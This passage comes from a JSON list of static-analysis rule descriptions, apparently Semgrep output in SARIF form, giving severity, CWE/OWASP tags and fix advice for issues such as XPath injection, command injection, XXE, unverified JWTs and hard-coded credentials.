[https://docs.docker.com/compose/compose-file/compose-file-v3/#domainname-hostname-ipc-mac_address-privileged-read_only-shm_size-stdin_open-tty-user-working_dir](https://docs.docker.com/compose/compose-file/compose-file-v3/#domainname-hostname-ipc-mac_address-privileged-read_only-shm_size-stdin_open-tty-user-working_dir)\n - [https://blog.atomist.com/security-of-docker-kubernetes/](https://blog.atomist.com/security-of-docker-kubernetes/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-8-set-filesystem-and-volumes-to-read-only](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-8-set-filesystem-and-volumes-to-read-only)\n","text":"Service '$SERVICE' is running with a writable root filesystem. This may allow malicious applications to download and run additional payloads, or modify container files. If an application inside a container has to save something temporarily consider using a tmpfs. Add 'read_only: true' to this service to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.docker-compose.security.writable-filesystem-service.writable-filesystem-service","id":"yaml.docker-compose.security.writable-filesystem-service.writable-filesystem-service","name":"yaml.docker-compose.security.writable-filesystem-service.writable-filesystem-service","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.docker-compose.security.writable-filesystem-service.writable-filesystem-service"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request","id":"java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request","name":"java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected possible user input going into a `path.join` or `path.resolve` function. This could possibly lead to a path traversal vulnerability,  where the attacker can access arbitrary files stored in the file system. Instead, be sure to sanitize or validate user input first."},"help":{"markdown":"Detected possible user input going into a `path.join` or `path.resolve` function. This could possibly lead to a path traversal vulnerability,  where the attacker can access arbitrary files stored in the file system. Instead, be sure to sanitize or validate user input first.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.path-traversal.path-join-resolve-traversal.path-join-resolve-traversal)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Detected possible user input going into a `path.join` or `path.resolve` function. This could possibly lead to a path traversal vulnerability,  where the attacker can access arbitrary files stored in the file system. Instead, be sure to sanitize or validate user input first."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.path-traversal.path-join-resolve-traversal.path-join-resolve-traversal","id":"javascript.lang.security.audit.path-traversal.path-join-resolve-traversal.path-join-resolve-traversal","name":"javascript.lang.security.audit.path-traversal.path-join-resolve-traversal.path-join-resolve-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.path-traversal.path-join-resolve-traversal.path-join-resolve-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token."},"helpUri":"https://semgrep.dev/r/java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify","id":"java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify","name":"java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","MEDIUM CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"blockhash(block.number) and blockhash(block.number + N) always returns 0."},"help":{"markdown":"blockhash(block.number) and blockhash(block.number + N) always returns 0.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.incorrect-use-of-blockhash.incorrect-use-of-blockhash)\n - [https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620](https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620)\n","text":"blockhash(block.number) and blockhash(block.number + N) always returns 0."},"helpUri":"https://semgrep.dev/r/solidity.security.incorrect-use-of-blockhash.incorrect-use-of-blockhash","id":"solidity.security.incorrect-use-of-blockhash.incorrect-use-of-blockhash","name":"solidity.security.incorrect-use-of-blockhash.incorrect-use-of-blockhash","properties":{"precision":"very-high","tags":["CWE-341: Predictable from Observable State","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.incorrect-use-of-blockhash.incorrect-use-of-blockhash"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a unquoted template variable as an attribute. If unquoted, a malicious actor could inject custom JavaScript handlers. To fix this, add quotes around the template expression, like this: \"<%= expr %>\"."},"help":{"markdown":"Detected a unquoted template variable as an attribute. If unquoted, a malicious actor could inject custom JavaScript handlers. To fix this, add quotes around the template expression, like this: \"<%= expr %>\".\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.unquoted-attribute.unquoted-attribute)\n - [https://brakemanpro.com/2017/09/08/cross-site-scripting-in-rails#unquoted-attributes](https://brakemanpro.com/2017/09/08/cross-site-scripting-in-rails#unquoted-attributes)\n - [https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss](https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss)\n","text":"Detected a unquoted template variable as an attribute. If unquoted, a malicious actor could inject custom JavaScript handlers. To fix this, add quotes around the template expression, like this: \"<%= expr %>\"."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.unquoted-attribute.unquoted-attribute","id":"ruby.rails.security.audit.xss.templates.unquoted-attribute.unquoted-attribute","name":"ruby.rails.security.audit.xss.templates.unquoted-attribute.unquoted-attribute","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.unquoted-attribute.unquoted-attribute"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"AWS Account ID detected. While not considered sensitive information, it is important to use them and share them carefully. For that reason it would be preferrable avoiding to hardcoded it here. Instead, read the value from an environment variable or keep the value in a separate, private file."},"help":{"markdown":"AWS Account ID detected. While not considered sensitive information, it is important to use them and share them carefully. For that reason it would be preferrable avoiding to hardcoded it here. Instead, read the value from an environment variable or keep the value in a separate, private file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-aws-account-id.detected-aws-account-id)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"AWS Account ID detected. While not considered sensitive information, it is important to use them and share them carefully. For that reason it would be preferrable avoiding to hardcoded it here. Instead, read the value from an environment variable or keep the value in a separate, private file."},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-aws-account-id.detected-aws-account-id","id":"generic.secrets.security.detected-aws-account-id.detected-aws-account-id","name":"generic.secrets.security.detected-aws-account-id.detected-aws-account-id","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-aws-account-id.detected-aws-account-id"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-default.tainted-os-command-stdlib-aws-lambda-secure-default)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module](https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-default.tainted-os-command-stdlib-aws-lambda-secure-default","id":"python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-default.tainted-os-command-stdlib-aws-lambda-secure-default","name":"python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-default.tainted-os-command-stdlib-aws-lambda-secure-default","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-default.tainted-os-command-stdlib-aws-lambda-secure-default"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-shelve-django.tainted-shelve-django)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://docs.python.org/3/library/shelve.html](https://docs.python.org/3/library/shelve.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-shelve-django.tainted-shelve-django","id":"python.django.deserialization.tainted-shelve-django.tainted-shelve-django","name":"python.django.deserialization.tainted-shelve-django.tainted-shelve-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-shelve-django.tainted-shelve-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret","id":"javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret","name":"javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"DOCTYPE declarations are enabled for javax.xml.parsers.SAXParserFactory. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"help":{"markdown":"DOCTYPE declarations are enabled for javax.xml.parsers.SAXParserFactory. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/clojure.lang.security.documentbuilderfactory-xxe.documentbuilderfactory-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n","text":"DOCTYPE declarations are enabled for javax.xml.parsers.SAXParserFactory. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"helpUri":"https://semgrep.dev/r/clojure.lang.security.documentbuilderfactory-xxe.documentbuilderfactory-xxe","id":"clojure.lang.security.documentbuilderfactory-xxe.documentbuilderfactory-xxe","name":"clojure.lang.security.documentbuilderfactory-xxe.documentbuilderfactory-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: clojure.lang.security.documentbuilderfactory-xxe.documentbuilderfactory-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gin.nosql.gin-mongo-nosql-taint.gin-mongo-nosqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/go.gin.nosql.gin-mongo-nosql-taint.gin-mongo-nosqli-taint","id":"go.gin.nosql.gin-mongo-nosql-taint.gin-mongo-nosqli-taint","name":"go.gin.nosql.gin-mongo-nosql-taint.gin-mongo-nosqli-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gin.nosql.gin-mongo-nosql-taint.gin-mongo-nosqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The `eval()` function evaluates JavaScript code represented as a string. Executing JavaScript from a string is an enormous security risk. It is far too easy for a bad actor to run arbitrary code when you use `eval()`. Ensure evaluated content is not definable by external sources."},"help":{"markdown":"The `eval()` function evaluates JavaScript code represented as a string. Executing JavaScript from a string is an enormous security risk. It is far too easy for a bad actor to run arbitrary code when you use `eval()`. Ensure evaluated content is not definable by external sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.tainted-eval.tainted-eval)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The `eval()` function evaluates JavaScript code represented as a string. Executing JavaScript from a string is an enormous security risk. It is far too easy for a bad actor to run arbitrary code when you use `eval()`. Ensure evaluated content is not definable by external sources."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.tainted-eval.tainted-eval","id":"javascript.aws-lambda.security.tainted-eval.tainted-eval","name":"javascript.aws-lambda.security.tainted-eval.tainted-eval","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.tainted-eval.tainted-eval"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. If this is intentional, remember that with `WTF_CSRF_CHECK_DEFAULT` set to `False` the CSRF tokens are still enabled and included, but the check no longer happens automatically, which weakens the security of the application. Doing the check manually requires a call to `csrf.protect()` before handling the request. An appropriate place to do this is a `@app.before_request` decorated function."},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. If this is intentional, remember that with `WTF_CSRF_CHECK_DEFAULT` set to `False` the CSRF tokens are still enabled and included, but the check no longer happens automatically, which weakens the security of the application. Doing the check manually requires a call to `csrf.protect()` before handling the request. An appropriate place to do this is a `@app.before_request` decorated function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-wtf-csrf-check-default-false.flask-wtf-csrf-check-default-false)\n - [https://flask-wtf.readthedocs.io/en/1.2.x/config/](https://flask-wtf.readthedocs.io/en/1.2.x/config/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. If this is intentional, remember that with `WTF_CSRF_CHECK_DEFAULT` set to `False` the CSRF tokens are still enabled and included, but the check no longer happens automatically, which weakens the security of the application. Doing the check manually requires a call to `csrf.protect()` before handling the request. An appropriate place to do this is a `@app.before_request` decorated function."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-wtf-csrf-check-default-false.flask-wtf-csrf-check-default-false","id":"python.flask.web.flask-wtf-csrf-check-default-false.flask-wtf-csrf-check-default-false","name":"python.flask.web.flask-wtf-csrf-check-default-false.flask-wtf-csrf-check-default-false","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-wtf-csrf-check-default-false.flask-wtf-csrf-check-default-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-md5.use-of-md5)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-md5.use-of-md5","id":"java.lang.security.audit.crypto.use-of-md5.use-of-md5","name":"java.lang.security.audit.crypto.use-of-md5.use-of-md5","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-md5.use-of-md5"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"help":{"markdown":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.active-debug-code.ktor-development-mode-gradle.ktor-development-mode-gradle)\n - [https://ktor.io/docs/development-mode.html#application-conf](https://ktor.io/docs/development-mode.html#application-conf)\n","text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.active-debug-code.ktor-development-mode-gradle.ktor-development-mode-gradle","id":"kotlin.ktor.active-debug-code.ktor-development-mode-gradle.ktor-development-mode-gradle","name":"kotlin.ktor.active-debug-code.ktor-development-mode-gradle.ktor-development-mode-gradle","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.active-debug-code.ktor-development-mode-gradle.ktor-development-mode-gradle"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"help":{"markdown":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.audit.cookie-httponly-false.cookie-httponly-false)\n - [https://owasp.org/www-community/HttpOnly](https://owasp.org/www-community/HttpOnly)\n","text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"helpUri":"https://semgrep.dev/r/java.servlets.security.audit.cookie-httponly-false.cookie-httponly-false","id":"java.servlets.security.audit.cookie-httponly-false.cookie-httponly-false","name":"java.servlets.security.audit.cookie-httponly-false.cookie-httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.audit.cookie-httponly-false.cookie-httponly-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"HockeyApp detected"},"help":{"markdown":"HockeyApp detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-hockeyapp.detected-hockeyapp)\n - 